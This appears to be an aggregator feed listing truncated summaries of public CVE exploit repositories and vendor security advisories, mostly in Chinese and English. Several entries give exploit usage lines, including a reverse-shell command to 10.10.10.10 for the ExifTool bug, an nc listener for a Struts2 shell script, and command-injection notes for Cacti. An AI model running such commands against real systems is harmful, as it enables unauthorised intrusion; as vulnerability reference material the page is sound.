USN-8753-1: libinput vulnerability

It was discovered that libinput did not properly escape device properties. A local attacker could possibly use this issue to inject arbitrary udev properties and execute arbitrary code as root...

CVE-2026-33017-Langflow-RCE

root@kitploit: ██╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██║ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔═══██╗██╔════╝ ██║ ██║██║ ██║███████╗███████╗██║ ██║██║ ██║██║ ██║███████╗ ╚██╗ ██╔╝██║ ██║╚════██║╚════██║██║ ██║██║ ██║██║ ██║╚════██║ ╚████╔╝...

CVE-2021-22204

CVE-2021-22204 描述 在 ExifTool 7.44 及以上版本中，DjVu 文件格式对用户数据的中和不当，使得解析恶意图片时可执行任意代码。 脚本 脚本链接 脚本用法： 系统命令： root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg 反弹 shell root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg 你的 IP 和端口 手动利用 root@kitploit: $ sudo apt install...

CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE,Redis Lua沙盒绕过 命令执行 Usage python3 CVE-2022-0543.py...

ThemeBleedPy

衷心感谢 gabek 在 C 中提供了初始 PoC，并实际发现了这个 CVE。这是用 Python 对他的代码进行的重制，复用了他的 stage 文件。 要查看原始 PoC，请访问他的页面：https://github.com/gabe-k/themebleed ThemeBleedPy 一个使用 Python 针对 CVE-2023-38146 “ThemeBleed” 的概念验证。 要求： 该程序使用 Impackets SMB 服务器 并重写了 smb2Create 函数，因此需要 Impackets 的功能。 root@kitploit: Usage: Replace...

CVE-2024-4879

CVE-2024-4879 漏洞利用及 PoC - Nuclei 模板 CVE-2024-4879 - ServiceNow 中的 Jelly 模板注入漏洞 ServiceNow 已修复在 Vancouver 和 Washington DC Now Platform 版本中发现的一个输入验证漏洞。该漏洞可能允许未经身份验证的用户在 Now Platform 环境中远程执行代码。ServiceNow 已对托管实例应用了更新，并向合作伙伴和自托管客户发布了该更新。以下是修复该漏洞的补丁和热修复程序。如果您尚未执行此操作，我们建议尽快将安全补丁应用于您的实例。 用于检测 Jelly 模板注入漏...

CVE-2022-24112

CVE-2022-24112: Apache APISIX 远程代码执行漏洞 root@kitploit: go run apisix-exploit.go -t -c 参考: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

CVE-2020-17530

S2-061 脚本皆根据vulhub的struts2-059/061漏洞测试环境来写的，不具普遍性，还望大佬多多指教 struts2-061-poc.py（可执行简单系统命令） 用法：python struts2-061-poc.py http://ip:port command 例子：python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py（可反弹shell） 用法： 1. 首先在一台机器A上监听指定端口例如：nc -lvvp 7777） 2. 执行脚本：python2 S2-061-shell.p...

CVE-2021-32099

CVE-2021-32099 PoC 本仓库提供了针对 CVE-2021-32099 漏洞的概念验证（PoC）漏洞利用代码，该漏洞影响 Pandora FMS 742 。该漏洞利用演示了未经身份验证的攻击者如何利用 SQL 注入漏洞将会话从非特权级别提升到管理员级别。获得管理权限后，攻击者可通过 Pandora FMS File Manager 上传任意 PHP 文件，从而实现远程代码执行，并以 Web 服务器用户身份入侵服务器。 ⚠️ 免责声明 本项目仅用于教育、研究和经授权的安全测试目的 。 请勿在你不拥有或未经明确许可的系统上使用此代码。 作者不对 任何损坏或误用负责 。 安装...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE Improvisado Descripción Explota una vulnerabilidad de inyección NoSQL sin autenticación en Rocket.Chat 3.12.1 para filtrar el secreto TOTP del administrador y el token de restablecimiento de contraseña, tomar el control de la cuenta de administrador y logra...

Moderate: Red Hat Security Advisory: nginx:1.26 security update

An update for the nginx:1.26 module is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

nginx: NGINX: Arbitrary code execution via crafted HTTP requests

A flaw was found in NGINX. An unauthenticated attacker can exploit this vulnerability by sending specially crafted HTTP requests when the map directive uses regular expression regex matching and references regex capture variables before referencing the map output variable. This can lead to a heap...

CVE-2021-2109

描述 Oracle Fusion Middleware 的 Oracle WebLogic Server 产品（组件：Console）存在漏洞。受影响的受支持版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。该漏洞易于利用，允许具有网络访问权限的高权限攻击者通过 HTTP 破坏 Oracle WebLogic Server。成功利用此漏洞可导致接管 Oracle WebLogic Server。CVSS 3.1 基础评分 7.2（影响保密性、完整性和可用性）。CVSS...

threatDemos

🚨 Android 安全威胁演示仓库 Android 安全漏洞与攻击向量的综合概念验证集合 本仓库作为教育资源，展示真实世界的 Android 安全威胁 及其相应的缓解策略 。每个演示都包含可运行的代码示例、详细的攻击向量和安全控制措施，帮助开发者理解并防止这些漏洞出现在生产应用中。 ⚡ 本仓库持续维护并不断扩展 🎯 仓库目标 🔍 演示真实的 Android 漏洞 ，附带可运行的概念验证代码 🛡️ 提供安全控制措施 以及每种威胁的缓解策略 📚 教育开发者 认识常见的 Android 安全陷阱 🧪 验证安全工具 ，如 MobSF 及其漏洞检测能力 ⚡ 研究前沿的 Android 利用技术 🗂️...

CVE-2023-38408

OpenSSH 漏洞 - CVE-2023-38408 📚 简介 在 OpenSSH（9.3p2 之前的版本）中发现了一个漏洞。OpenSSH 的 ssh-agent 中的 PKCS11 功能具有一个不够可信的搜索路径，如果代理被转发到攻击者控制的系统（/usr/lib 中的代码加载到 ssh-agent 中不一定安全），则会导致远程代码执行。该缺陷允许攻击者控制服务器上转发的代理套接字，并能够写入客户端主机的文件系统，从而以运行 ssh-agent 的用户权限执行任意代码。 在下面的示例中，我们可以简要地观察从探测到攻陷 alice 用户的步骤。 步骤 1 - 攻击 用户通过 SSH...

CVE-2022-24734

CVE-2022-24734 PoC 在MyBB的管理员控制面板（配置 - 添加新设置）中可以获取远程代码执行（RCE）。用户必须拥有添加或更新设置的权限。该漏洞在MyBB 1.8.29上测试通过。 来源： https://github.com/mybb/mybb/ https://vulners.com/cve/CVE-2022-24734...

CVE-2021-22911

CVE-2021-22911 预认证盲注NoSQL注入导致Rocket Chat 3.12.1远程代码执行 getPasswordPolicy方法容易受到NoSQL注入攻击，且不需要身份验证/授权。它可以通过泄露密码重置令牌来接管账户。接管管理员账户会导致远程代码执行。 解释 1. 劫持用户账户（未经身份验证） 在getPasswordPolicy 端点的密码重置token 参数中存在NoSQL注入，该参数接受JSON对象，允许我们使用$regex运算符。我们利用它来执行盲注NoSQL注入以获取重置令牌。 2. 权限提升至管理员（已认证）...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 未授权命令注入漏洞。 认证绕过 添加 X-Forwarded-For 请求头即可绕过认证，注意其值并非固定值。 暴力枚举 使用 Burp Intruder 对 hostid 和 localdataids 的值进行模糊测试。 远程命令执行 命令注入点位于 pollerid 参数。 root@kitploit: GET...

CVE-2021-25641-Proof-of-Concept

The 0xDABB of Doom - CVE-2021-25641 概念验证代码 Apache/Alibaba Dubbo = 2.7.3 中 CVE-2021-25641 RCE 的 PoC 代码，利用未受信任数据的反序列化；影响版本 = 2.7.6，使用不同 Gadget 在 Checkmarx 博客文章 "The 0xDABB of Doom" 中有深入介绍 https://www.checkmarx.com/blog/technical-blog/the-0xdabb-of-doom-cve-2021-25641/...

CVE-2026-90919

LightLLM through 1.2.0 contains a remote code execution vulnerability in the Config Server's unauthenticated /visualregister WebSocket endpoint that passes the first client frame directly to pickle.loads. Attackers can reach the Config Server port and send a malicious serialized payload with a...